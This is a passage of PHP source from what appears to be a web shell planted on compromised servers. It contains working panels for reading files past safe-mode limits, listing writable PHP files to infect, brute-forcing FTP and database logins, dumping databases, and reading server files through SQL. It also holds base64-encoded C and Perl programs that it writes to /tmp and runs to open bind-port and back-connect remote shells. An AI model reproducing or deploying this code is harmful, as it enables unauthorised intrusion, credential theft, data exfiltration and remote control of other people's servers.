  1084. break;
  1085. echo imap_body($stream, 1);
  1086. imap_close($stream);
  1087. break;
  1088. }
  1089. $temp = ob_get_clean();
  1090. hardHeader();
  1091. echo '<h1>Safe mode bypass</h1><div class=content>';
  1092. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
  1093. if($temp)
  1094. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1095. echo '</div>';
  1096. hardFooter();
  1097. }
  1098. function actionLogout() {
  1099. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1100. die('bye!');
  1101. }
  1102. function actionSelfRemove() {
  1103. if($_POST['p1'] == 'yes')
  1104. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1105. die('Shell has been removed');
  1106. else
  1107. echo 'unlink error!';
  1108. if($_POST['p1'] != 'yes')
  1109. hardHeader();
  1110. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1111. hardFooter();
  1112. }
  1113. function actionInfect() {
  1114. hardHeader();
  1115. echo '<h1>Infect</h1><div class=content>';
  1116. if($_POST['p1'] == 'infect') {
  1117. $target=$_SERVER['DOCUMENT_ROOT'];
  1118. function ListFiles($dir) {
  1119. if($dh = opendir($dir)) {
  1120. $files = Array();
  1121. $inner_files = Array();
  1122. while($file = readdir($dh)) {
  1123. if($file != "." && $file != "..") {
  1124. if(is_dir($dir . "/" . $file)) {
  1125. $inner_files = ListFiles($dir . "/" . $file);
  1126. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  1127. } else {
  1128. array_push($files, $dir . "/" . $file);
  1129. }
  1130. }
  1131. }
  1132. closedir($dh);
  1133. return $files;
  1134. }
  1135. }
  1136. foreach (ListFiles($target) as $key=>$file){
  1137. $nFile = substr($file, -4, 4);
  1138. if($nFile == ".php" ){
  1139. if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
  1140. echo "$file<br>";
  1141. $i++;
  1142. }
  1143. }
  1144. }
  1145. echo "<font color=red size=14>$i</font>";
  1146. }else{
  1147. echo "<form method=post><input type=submit value=Infect name=infet></form>";
  1148. echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
  1149. }
  1150. hardFooter();
  1151. }
  1152. function actionBruteforce() {
  1153. hardHeader();
  1154. if( isset($_POST['proto']) ) {
  1155. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1156. if( $_POST['proto'] == 'ftp' ) {
  1157. function bruteForce($ip,$port,$login,$pass) {
  1158. $fp = @ftp_connect($ip, $port?$port:21);
  1159. if(!$fp) return false;
  1160. $res = @ftp_login($fp, $login, $pass);
  1161. @ftp_close($fp);
  1162. return $res;
  1163. }
  1164. } elseif( $_POST['proto'] == 'mysql' ) {
  1165. function bruteForce($ip,$port,$login,$pass) {
  1166. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1167. @mysql_close($res);
  1168. return $res;
  1169. }
  1170. } elseif( $_POST['proto'] == 'pgsql' ) {
  1171. function bruteForce($ip,$port,$login,$pass) {
  1172. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1173. $res = @pg_connect($str);
  1174. @pg_close($res);
  1175. return $res;
  1176. }
  1177. }
  1178. $success = 0;
  1179. $attempts = 0;
  1180. $server = explode(":", $_POST['server']);
  1181. if($_POST['type'] == 1) {
  1182. $temp = @file('/etc/passwd');
  1183. if( is_array($temp) )
  1184. foreach($temp as $line) {
  1185. $line = explode(":", $line);
  1186. ++$attempts;
  1187. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1188. $success++;
  1189. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1190. }
  1191. if(@$_POST['reverse']) {
  1192. $tmp = "";
  1193. for($i=strlen($line[0])-1; $i>=0; --$i)
  1194. $tmp .= $line[0][$i];
  1195. ++$attempts;
  1196. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1197. $success++;
  1198. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1199. }
  1200. }
  1201. }
  1202. } elseif($_POST['type'] == 2) {
  1203. $temp = @file($_POST['dict']);
  1204. if( is_array($temp) )
  1205. foreach($temp as $line) {
  1206. $line = trim($line);
  1207. ++$attempts;
  1208. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1209. $success++;
  1210. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1211. }
  1212. }
  1213. }
  1214. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1215. }
  1216. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1217. .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
  1218. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1219. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1220. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1221. .'<input type=hidden name=ne value="">'
  1222. .'<span>Server:port</span></td>'
  1223. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1224. .'<tr><td><span>Brute type</span></td>'
  1225. .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
  1226. .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
  1227. .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
  1228. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1229. .'<td><input type=text name=login value="root"></td></tr>'
  1230. .'<tr><td><span>Dictionary</span></td>'
  1231. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1232. .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
  1233. echo '</div>';
  1234. hardFooter();
  1235. }
  1236. function actionSql() {
  1237. class DbClass {
  1238. var $type;
  1239. var $link;
  1240. var $res;
  1241. function __Constructor($type) {
  1242. $this->type = $type;
  1243. }
  1244. function connect($host, $user, $pass, $dbname){
  1245. switch($this->type) {
  1246. case 'mysql':
  1247. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1248. break;
  1249. case 'pgsql':
  1250. $host = explode(':', $host);
  1251. if(!$host[1]) $host[1]=5432;
  1252. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1253. break;
  1254. }
  1255. return false;
  1256. }
  1257. function selectdb($db) {
  1258. switch($this->type) {
  1259. case 'mysql':
  1260. if (@mysql_select_db($db))return true;
  1261. break;
  1262. }
  1263. return false;
  1264. }
  1265. function query($str) {
  1266. switch($this->type) {
  1267. case 'mysql':
  1268. return $this->res = @mysql_query($str);
  1269. break;
  1270. case 'pgsql':
  1271. return $this->res = @pg_query($this->link,$str);
  1272. break;
  1273. }
  1274. return false;
  1275. }
  1276. function fetch() {
  1277. $res = func_num_args()?func_get_arg(0):$this->res;
  1278. switch($this->type) {
  1279. case 'mysql':
  1280. return @mysql_fetch_assoc($res);
  1281. break;
  1282. case 'pgsql':
  1283. return @pg_fetch_assoc($res);
  1284. break;
  1285. }
  1286. return false;
  1287. }
  1288. function listDbs() {
  1289. switch($this->type) {
  1290. case 'mysql':
  1291. return $this->query("SHOW databases");
  1292. break;
  1293. case 'pgsql':
  1294. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1295. break;
  1296. }
  1297. return false;
  1298. }
  1299. function listTables() {
  1300. switch($this->type) {
  1301. case 'mysql':
  1302. return $this->res = $this->query('SHOW TABLES');
  1303. break;
  1304. case 'pgsql':
  1305. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1306. break;
  1307. }
  1308. return false;
  1309. }
  1310. function error() {
  1311. switch($this->type) {
  1312. case 'mysql':
  1313. return @mysql_error();
  1314. break;
  1315. case 'pgsql':
  1316. return @pg_last_error();
  1317. break;
  1318. }
  1319. return false;
  1320. }
  1321. function setCharset($str) {
  1322. switch($this->type) {
  1323. case 'mysql':
  1324. if(function_exists('mysql_set_charset'))
  1325. return @mysql_set_charset($str, $this->link);
  1326. else
  1327. $this->query('SET CHARSET '.$str);
  1328. break;
  1329. case 'pgsql':
  1330. return @pg_set_client_encoding($this->link, $str);
  1331. break;
  1332. }
  1333. return false;
  1334. }
  1335. function loadFile($str) {
  1336. switch($this->type) {
  1337. case 'mysql':
  1338. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1339. break;
  1340. case 'pgsql':
  1341. $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
  1342. $r=array();
  1343. while($i=$this->fetch())
  1344. $r[] = $i['file'];
  1345. $this->query('drop table hard2');
  1346. return array('file'=>implode("\n",$r));
  1347. break;
  1348. }
  1349. return false;
  1350. }
  1351. function dump($table, $fp = false) {
  1352. switch($this->type) {
  1353. case 'mysql':
  1354. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1355. $create = mysql_fetch_array($res);
  1356. $sql = $create[1].";\n";
  1357. if($fp) fwrite($fp, $sql); else echo($sql);
  1358. $this->query('SELECT * FROM `'.$table.'`');
  1359. $i = 0;
  1360. $head = true;
  1361. while($▟ = $this->fetch()) {
  1362. $sql = '';
  1363. if($i % 1000 == 0) {
  1364. $head = true;
  1365. $sql = ";\n\n";
  1366. }
  1367. $columns = array();
  1368. foreach($▟ as $k=>$v) {
  1369. if($v === null)
  1370. $▟[$k] = "NULL";
  1371. elseif(is_int($v))
  1372. $▟[$k] = $v;
  1373. else
  1374. $▟[$k] = "'".@mysql_real_escape_string($v)."'";
  1375. $columns[] = "`".$k."`";
  1376. }
  1377. if($head) {
  1378. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $▟).')';
  1379. $head = false;
  1380. } else
  1381. $sql .= "\n\t,(".implode(", ", $▟).')';
  1382. if($fp) fwrite($fp, $sql); else echo($sql);
  1383. $i++;
  1384. }
  1385. if(!$head)
  1386. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1387. break;
  1388. case 'pgsql':
  1389. $this->query('SELECT * FROM '.$table);
  1390. while($▟ = $this->fetch()) {
  1391. $columns = array();
  1392. foreach($▟ as $k=>$v) {
  1393. $▟[$k] = "'".addslashes($v)."'";
  1394. $columns[] = $k;
  1395. }
  1396. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $▟).');'."\n";
  1397. if($fp) fwrite($fp, $sql); else echo($sql);
  1398. }
  1399. break;
  1400. }
  1401. return false;
  1402. }
  1403. };
  1404. $db = new DbClass($_POST['type']);
  1405. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1406. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1407. $db->selectdb($_POST['sql_base']);
  1408. switch($_POST['charset']) {
  1409. case "Windows-1251": $db->setCharset('cp1251'); break;
  1410. case "UTF-8": $db->setCharset('utf8'); break;
  1411. case "KOI8-R": $db->setCharset('koi8r'); break;
  1412. case "KOI8-U": $db->setCharset('koi8u'); break;
  1413. case "cp866": $db->setCharset('cp866'); break;
  1414. }
  1415. if(empty($_POST['file'])) {
  1416. ob_start("ob_gzhandler", 4096);
  1417. header("Content-Disposition: attachment; filename=dump.sql");
  1418. header("Content-Type: text/plain");
  1419. foreach($_POST['tbl'] as $v)
  1420. $db->dump($v);
  1421. exit;
  1422. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1423. foreach($_POST['tbl'] as $v)
  1424. $db->dump($v, $fp);
  1425. fclose($fp);
  1426. unset($_POST['p2']);
  1427. } else
  1428. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1429. }
  1430. hardHeader();
  1431. echo "
  1432. <h1>Sql browser</h1><div class=content>
  1433. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1434. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1435. <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1436. <td><label><select name='type'><option value='mysql' ";
  1437. if(@$_POST['type']=='mysql')echo 'selected';
  1438. echo ">MySql</option><option value='pgsql' ";
  1439. if(@$_POST['type']=='pgsql')echo 'selected';
  1440. echo ">PostgreSql</option></select></label></td>
  1441. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1442. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1443. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
  1444. $tmp = "<input type=text name=sql_base value=''>";
  1445. if(isset($_POST['sql_host'])){
  1446. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1447. switch($_POST['charset']) {
  1448. case "Windows-1251": $db->setCharset('cp1251'); break;
  1449. case "UTF-8": $db->setCharset('utf8'); break;
  1450. case "KOI8-R": $db->setCharset('koi8r'); break;
  1451. case "KOI8-U": $db->setCharset('koi8u'); break;
  1452. case "cp866": $db->setCharset('cp866'); break;
  1453. }
  1454. $db->listDbs();
  1455. echo "<label><select name=sql_base><option value=''></option>";
  1456. while($▟ = $db->fetch()) {
  1457. list($key, $value) = each($▟);
  1458. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1459. }
  1460. echo '</select></label>';
  1461. }
  1462. else echo $tmp;
  1463. }else
  1464. echo $tmp;
  1465. echo "</td>
  1466. <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
  1467. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1468. </tr>
  1469. </table>
  1470. <script>
  1471. s_db='".@addslashes($_POST['sql_base'])."';
  1472. function fs(f) {
  1473. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1474. if(f.p1) f.p1.value='';
  1475. if(f.p2) f.p2.value='';
  1476. if(f.p3) f.p3.value='';
  1477. }
  1478. }
  1479. function st(t,l) {
  1480. d.sf.p1.value = 'select';
  1481. d.sf.p2.value = t;
  1482. if(l && d.sf.p3) d.sf.p3.value = l;
  1483. d.sf.submit();
  1484. }
  1485. function is() {
  1486. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1487. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1488. }
  1489. </script>";
  1490. if(isset($db) && $db->link){
  1491. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1492. if(!empty($_POST['sql_base'])){
  1493. $db->selectdb($_POST['sql_base']);
  1494. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1495. $tbls_res = $db->listTables();
  1496. while($▟ = $db->fetch($tbls_res)) {
  1497. list($key, $value) = each($▟);
  1498. if(!empty($_POST['sql_count']))
  1499. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1500. $value = htmlspecialchars($value);
  1501. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1502. }
  1503. echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1504. if(@$_POST['p1'] == 'select') {
  1505. $_POST['p1'] = 'query';
  1506. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1507. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1508. $num = $db->fetch();
  1509. $pages = ceil($num['n'] / 30);
  1510. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1511. echo " of $pages";
  1512. if($_POST['p3'] > 1)
  1513. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1514. if($_POST['p3'] < $pages)
  1515. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1516. $_POST['p3']--;
  1517. if($_POST['type']=='pgsql')
  1518. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1519. else
  1520. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1521. echo "<br><br>";
  1522. }
  1523. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1524. $db->query(@$_POST['p2']);
  1525. if($db->res !== false) {
  1526. $title = false;
  1527. echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
  1528. $line = 1;
  1529. while($▟ = $db->fetch()) {
  1530. if(!$title) {
  1531. echo '<tr>';
  1532. foreach($▟ as $key => $value)
  1533. echo '<th>'.$key.'</th>';
  1534. reset($▟);
  1535. $title=true;
  1536. echo '</tr><tr>';
  1537. $line = 2;
  1538. }
  1539. echo '<tr class="l'.$line.'">';
  1540. $line = $line==1?2:1;
  1541. foreach($▟ as $key => $value) {
  1542. if($value == null)
  1543. echo '<td><i>null</i></td>';
  1544. else
  1545. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1546. }
  1547. echo '</tr>';
  1548. }
  1549. echo '</table>';
  1550. } else {
  1551. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1552. }
  1553. }
  1554. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1555. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1556. echo htmlspecialchars($_POST['p2']);
  1557. echo "</textarea><br/><input type=submit value='Execute'>";
  1558. echo "</td></tr>";
  1559. }
  1560. echo "</table></form><br/>";
  1561. if($_POST['type']=='mysql') {
  1562. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1563. if($db->fetch())
  1564. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
  1565. }
  1566. if(@$_POST['p1'] == 'loadfile') {
  1567. $file = $db->loadFile($_POST['p2']);
  1568. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1569. }
  1570. } else {
  1571. echo htmlspecialchars($db->error());
  1572. }
  1573. echo '</div>';
  1574. hardFooter();
  1575. }
  1576. function actionNetwork() {
  1577. hardHeader();
  1578. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1579. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1580. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1581. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1582. echo "<h1>Network tools</h1><div class=content>
  1583. <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
  1584. <span>Bind port to /bin/sh</span><br/>
  1585. Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
  1586. </form>
  1587. <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
  1588. <span>Back-connect to</span><br/>
  1589. Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
  1590. </form><br>";
  1591. if(isset($_POST['p1'])) {
  1592. function cf($f,$t) {
  1593. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1594. if($w) {
  1595. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1596. @fclose($w);
  1597. }
  1598. }
  1599. if($_POST['p1'] == 'bpc') {
  1600. cf("/tmp/bp.c",$bind_port_c);
  1601. $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
  1602. @unlink("/tmp/bp.c");
  1603. $▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1604. echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";
  1605. }
  1606. if($_POST['p1'] == 'bpp') {
  1607. cf("/tmp/bp.pl",$bind_port_p);
  1608. $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1609. echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";
  1610. }
  1611. if($_POST['p1'] == 'bcc') {
  1612. cf("/tmp/bc.c",$back_connect_c);
  1613. $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
  1614. @unlink("/tmp/bc.c");
  1615. $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1616. echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
  1617. }
  1618. if($_POST['p1'] == 'bcp') {
  1619. cf("/tmp/bc.pl",$back_connect_p);
  1620. $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1621. echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
  1622. }
  1623. }
  1624. echo '</div>';
  1625. hardFooter();
  1626. }
  1627. if( empty($_POST['a']) ){
  1628. if(isset($▚) && function_exists('action' . $▚)){
  1629. $_POST['a'] = $▚;}
  1630. else{
